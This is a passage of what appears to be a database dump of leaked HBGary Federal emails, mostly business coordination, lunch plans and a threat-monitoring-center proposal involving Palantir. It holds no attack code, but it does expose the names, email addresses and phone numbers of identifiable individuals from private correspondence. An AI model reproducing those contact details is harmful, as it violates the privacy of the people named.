Federal?\r\n\r\n\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.&nbsp; Should be like a few hours of work, maybe\r\nless.&nbsp; We need this to send to our clients once the integration is\r\ncomplete and to put up on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6317,'aaron_hbgary_com/6317.html'),(883,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000128.M883225P3547Q883.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Xetron','Talking to them (via email) right now to figure that out. &nbsp;Right now I am working on the contractual relationship getting our clearances sponsored. &nbsp;I will ask him today about the software itself.AaronOn Jan 4, 2010, at 8:58 AM, Bob Slapnik wrote:Aaron,&nbsp;Happy New Year!&nbsp; I’m back in the saddle after a nice rest.&nbsp;What are our next steps with Brian Masterson of Xetron?&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6886,'aaron_hbgary_com/6886.html'),(884,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000129.M270252P3547Q885.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Re: Conversation','Lets get together Wed. &nbsp;I will be out for the conference as well next week so we will have some time together there as well. &nbsp;How about 1130. &nbsp;Do you have any limitations on place? &nbsp;I know a really good Afghan place in Tysons Corner/Vienna? &nbsp;There are some good places out in Reston as well in the shopping plaza there.AaronOn Jan 4, 2010, at 9:17 AM, Matt O\'Flynn wrote:Aaron,&nbsp;I am headed to CO next week. Are you open for lunch on Wed or Fri?&nbsp;Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 04, 2010 8:51 AMTo:&nbsp;matt@hbgary.comSubject:&nbsp;Re: Conversation&nbsp;Matt,&nbsp;Thought we could get together some time this week. &nbsp;Your heading out to Colorado Springs for the cyberdefense conference right?&nbsp;Aaron&nbsp;&nbsp;On Dec 18, 2009, at 4:30 PM,&nbsp;matt@hbgary.com&nbsp;wrote:Perfect, Happy Holidays! MattSent on the Sprint® Now Network from my BlackBerry®From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;Fri, 18 Dec 2009 16:25:36 -0500To:&nbsp;Matt O\'Flynn&lt;matt@hbgary.com&gt;Subject:&nbsp;Re: Conversation&nbsp;Hey Matt,&nbsp;I am headed to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get together after the new year.&nbsp;Aaron&nbsp;&nbsp;On Dec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Thanks for the invite, I can’t make it today. Are you around on Monday or Tues next week?&nbsp;Best,Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 18, 2009 6:40 AMTo:&nbsp;Matt O\'FlynnCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: Conversation&nbsp;Hey Matt,&nbsp;Bob and I are meeting for lunch in Vienna if your available.&nbsp;Aaron&nbsp;&nbsp;On Dec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Rich told me he spoke with you yesterday, I’d love to have a quick conversation if you have some time today.&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6067,'aaron_hbgary_com/6067.html'),(885,'2010-01-04','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000129.M535619P3547Q886.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conversation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d love to try the\r\nAfghan place in Tysons, can you send me an invite with the address?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 10:39 AM\r\nTo: Matt O\'Flynn\r\nSubject: Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLets\r\nget together Wed. &nbsp;I will be out for the conference as well next week so\r\nwe will have some time together there as well. &nbsp;How about 1130. &nbsp;Do\r\nyou have any limitations on place? &nbsp;I know a really good Afghan place in\r\nTysons Corner/Vienna? &nbsp;There are some good places out in Reston as well in\r\nthe shopping plaza there.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJan 4, 2010, at 9:17 AM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am headed to CO next\r\nweek. Are you open for lunch on Wed or Fri?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 04,\r\n2010 8:51 AM\r\nTo:&nbsp;matt@hbgary.com\r\nSubject:&nbsp;Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThought\r\nwe could get together some time this week. &nbsp;Your heading out to Colorado\r\nSprings for the cyberdefense conference right?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 18, 2009, at 4:30 PM,&nbsp;matt@hbgary.com&nbsp;wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPerfect,\r\nHappy Holidays! Matt\r\n\r\n\r\n\r\nSent on the Sprint&reg; Now Network from my BlackBerry&reg;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;Fri, 18 Dec 2009 16:25:36 -0500\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Matt O\'Flynn&lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am\r\nheaded to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get\r\ntogether after the new year.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the invite,\r\nI can&#8217;t make it today. Are you around on Monday or Tues next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, December 18,\r\n2009 6:40 AM\r\nTo:&nbsp;Matt O\'Flynn\r\nCc:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nand I are meeting for lunch in Vienna if your available.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich told me he spoke\r\nwith you yesterday, I&#8217;d love to have a quick conversation if you have\r\nsome time today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt O\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4269,'aaron_hbgary_com/4269.html'),(886,'2010-01-04','noreply@google.com','/aaron@hbgary.com/new/1297000129.M723690P3547Q887.eml','matt@hbgary.com','aaron@hbgary.com sent this to you using Google Maps: Panjshir II 	Restaurant','Panjshir II Restaurant\r\n224 Maple Avenue West\r\nVienna, VA 22180-5605\r\n(703) 281-4183\r\nLink:  \r\n\r\n\r\nThis email was sent to you by a user on Google Maps (maps.google.com)\r\n',3288,'aaron_hbgary_com/3288.html'),(887,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000129.M73188P3547Q884.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Threat Monitoring Center','I really like the slides.\r\n\r\nTed and I will be working to get at least some portion of this funded.  ARSTRAT we are already talking with.  Palantir is going to take us in to meet with the EOP SOC and NTOC folks.  Matt O\'Flynn is setting up a discussion with General Lord for the 24th.  Ted and I will have to look through the IARPA RFPs to see if it fits anywhere.  Maybe DHS as a potential as well.\r\n\r\nPotentials:\r\nARSTRAT\r\nEOP SOC\r\nNTOC\r\n24th AF\r\nIARPA\r\n\r\nSo the feed processor broke last May, is it back up and running now?  or still broke?  We have the capability to process 5000 but are only processing 200 or we only have the capability to process 200 right now?\r\n\r\nDo you know yet who is going to be the DDNA/Feed Processor belly button?  We will probably set up a call with Palantir this week to discuss next steps.\r\n\r\nAs to monetizing the feed processor.  From looking at the 2nd Diagram I see 3 packages.  The services package down in the lower right.  The feed processor along with the integrated tools comes with the services contract, we embed folks in mission spaces using these tools.  The customer owned package includes an active defense server in their spaces, they can pay (subscription) for the active defense server to pull feed processor information.  Or the Shared SOC model.  Not sure what exactly this would look like but what about an active defense server and client.  The server in the shared model sits in our data center, gets data from the feed processor and the active defense client, which sits in the customer enterprise.  the active defense client takes in data from the client enterprise (responder type information) and feeds info back to the active defense server which manages multiple environments and feeds security policy information back into the enterprise (through encrypted link).  The active defense client manages the rule changes for network and host security.  Something like that?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 29, 2009, at 7:09 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron, Ted,\r\n>  \r\n> See attached slide deck.  I hope this helps conceptualize the first phase of building a threat monitoring capability.\r\n>  \r\n> Palantir uses its own database, as do some other link analysis tools.  While we don\'t have to jump in right away, in the medium term all of these databases will need to be integrated somehow.  Even if we only use Palantir, that database still needs to be integrated somehow with the feed processor database.  I think we should keep Palantir\'s price in mind, considering that i2 is only $4k and maltego is just over $10k.  The feed processor has quite a bit of raw data - so for ARSTRAT we could use Palantir to consume it all and have Palantir be the single analysis interface - but this will easily pop the 4Gig watermark on the free version of Oracle.  Also, the feed processor is what active defense uses, and the results of the analysis from Palantir should somehow be reflected back to the feed processor database (the classification of attribution domains, for example).  If there is no integration going back to the feed processor database, then customers will have to build their custom genomes in a separate interface outside of palantir, and then palantir will have to reprocess the feed to get the update (janky at best).  This is all technical and we will know alot more once we get a prototype hobbled together.\r\n>  \r\n> Running the center on HBGary\'s end will be expensive, here is what I expect:\r\n>  \r\n> 1) we need 2 full iterations (4 weeks) with most of the dev team - Penny is going to shit (this is huge expensive)\r\n>   - this time is needed to fix our feed processor which broke last May for no apparent reason\r\n>   - and, designing and integrating the feed to palantir in a way that actually makes sense for the analyst (this part is not expected to be too hard, per what palantir tells us)\r\n>   - and, cobbling together a functional processor at HBGary (not the one we use downtown)\r\n>   - and, replicating said cobbled functional processor so you guys have one in colorado springs (or wherever you plan on putting it) (would be nice if HBGary got paid for that part of the effort)\r\n>  \r\n> 2) one full time analyst, whose primary purpose at HBGary is the ongoing maintenance of the DDNA genome that we sell to customers (penny has already given a thumbs up to the idea, so its pure budget at this point)\r\n>   - who is using said cobbled feed processor to perform most of the analysis\r\n>   - and is using the palantir interface, at least at first\r\n>   - while this is an HBGary cost, this same feed data is to be supplied to your customer as well (I hope we can monetize that somehow)\r\n>  \r\n> 3) finally, we have no hardware - so I expect at least $8K in additional hardware budget to get a farm of machines operating that can chew down a few thousand samples a day\r\n>   - this is a lowball figure.  The feed processor downtown (its like a $12k machine) was supposed to do 5000 a day, but I think its just a few hundred a day (no, I don\'t know why - we need to pin Alex to the wall on this one)\r\n>  \r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2295,'aaron_hbgary_com/2295.html'),(888,'2010-01-04','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000130.M110841P3547Q888.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Breakfast at Panjshir II','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;PARTSTAT=ACCEPTED:mailto:matt@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100104T162257Z\r\nDTEND:20100106T180000Z\r\nDTSTAMP:20100104T162257Z\r\nDTSTART:20100106T163000Z\r\nLAST-MODIFIED:20100104T162257Z\r\nLOCATION:Panjshir II\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY:Accepted: Breakfast at Panjshir II\r\nTRANSP:OPAQUE\r\nUID:45aklho3db9tu7d901c9o0t7s4@google.com\r\nX-MICROSOFT-CDO-BUSYSTATUS:BUSY\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MS-OLK-AUTOFILLLOCATION:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',9575,'aaron_hbgary_com/9575.html'),(889,'2010-01-04','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000130.M333432P3547Q889.eml','\"Aaron Barr\" <aaron@hbgary.com>','Time this week','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m available to get together in person almost all\r\nweek this week except Thursday.&nbsp; Let me know what works for you and I can come\r\nmeet you.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16168,'aaron_hbgary_com/16168.html'),(890,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000130.M535527P3547Q890.eml','\"Ted Vera\" <ted@hbgary.com>','Using google maps as a msg dissem mechanism','Did u get an SMS msg from Google maps?\r\n\r\nSo you can send email and SMS using Google servers.  Lots of info you could pass through those.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10380,'aaron_hbgary_com/10380.html'),(891,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000130.M721548P3547Q891.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Time this week','ok. &nbsp;I am meeting Matt O\'Flynn for lunch at an Afghan place in Vienna Wednesday 11:30? &nbsp;Want to come for lunch? &nbsp;We can continue the conversation aftwards? &nbsp;Checking with Phil if he would be interested, then we could just grab some rent a office space after lunch in Tysons and brainstorm a bit.AaronOn Jan 4, 2010, at 11:26 AM, Rich Cummings wrote:Hi Aaron,&nbsp;I’m available to get together in person almost all week this week except Thursday.&nbsp; Let me know what works for you and I can come meet you.&nbsp;Thanks,Rich&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1590,'aaron_hbgary_com/1590.html'),(892,'2010-01-04','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000130.M895773P3547Q892.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Time this week','OK that sounds good.On Mon, Jan 4, 2010 at 11:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nok.  I am meeting Matt O&#39;Flynn for lunch at an Afghan place in Vienna Wednesday 11:30?  Want to come for lunch?  We can continue the conversation aftwards?  Checking with Phil if he would be interested, then we could just grab some rent a office space after lunch in Tysons and brainstorm a bit.\r\nAaronOn Jan 4, 2010, at 11:26 AM, Rich Cummings wrote:\r\nHi Aaron,\r\n I’m available to get together in person almost all week this week except Thursday.  Let me know what works for you and I can come meet you.\r\n \r\nThanks,Rich\r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',1511,'aaron_hbgary_com/1511.html'),(893,'2010-01-04','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000131.M334203P3547Q894.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Time this week','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOk Tyson office after lunch on Wednesday.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 11:57 AM\r\nTo: rich@hbgary.com\r\nSubject: Re: Time this week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPhil tells me you guys are meeting with ICE for lunch on\r\nWednesday. &nbsp;So how about we just meet at the Tyson office on Wed after\r\nlunch?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 11:53 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK that sounds good.\r\n\r\n\r\n\r\nOn Mon, Jan 4, 2010 at 11:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nok. &nbsp;I am meeting Matt O\'Flynn for lunch at an Afghan\r\nplace in Vienna Wednesday 11:30? &nbsp;Want to come for lunch? &nbsp;We can\r\ncontinue the conversation aftwards? &nbsp;Checking with Phil if he would be\r\ninterested, then we could just grab some rent a office space after lunch 